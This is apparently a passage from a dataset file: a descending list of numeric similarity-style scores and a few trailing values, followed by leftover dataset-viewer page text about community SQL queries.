"0.6495642",
"0.6452316",
"0.64396536",
"0.640671",
"0.64036036",
"0.6403373",
"0.6331183",
"0.6272513",
"0.62603533",
"0.624374",
"0.62267417",
"0.6212251",
"0.62039655",
"0.61849576",
"0.6178918",
"0.61522484",
"0.6150417",
"0.6148667",
"0.6101677",
"0.6096672",
"0.6079101",
"0.6078958",
"0.6075234",
"0.60745096",
"0.60744154",
"0.6064804",
"0.6063272",
"0.60264444",
"0.60235643",
"0.6021786",
"0.59963834",
"0.59963834",
"0.5958554",
"0.5956221",
"0.5956221",
"0.5956221",
"0.593821",
"0.5937737",
"0.5937708",
"0.5933212",
"0.5919647",
"0.5899683",
"0.5887979",
"0.588535",
"0.5875495",
"0.58753884",
"0.5875237",
"0.5875173",
"0.58618706",
"0.58600557",
"0.5858922",
"0.5858251",
"0.58527225",
"0.58472556",
"0.58421606",
"0.58417255",
"0.5839109",
"0.5831135",
"0.5818463",
"0.58163637",
"0.58139247",
"0.5811546",
"0.58079135",
"0.5806751",
"0.5803794",
"0.5803685",
"0.57998455",
"0.5797429",
"0.5795341",
"0.5791064",
"0.57886064",
"0.57806706",
"0.5775542",
"0.5775542",
"0.5772656",
"0.5768872",
"0.5767403",
"0.57651985",
"0.57630676",
"0.57562274",
"0.57556236",
"0.57516503",
"0.5750915",
"0.5748669",
"0.574661",
"0.5745324",
"0.57445145",
"0.57445145",
"0.5743435",
"0.57420474",
"0.57340616",
"0.57105744",
"0.57084477",
"0.57076794"
] |
0.7810365
|
0
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.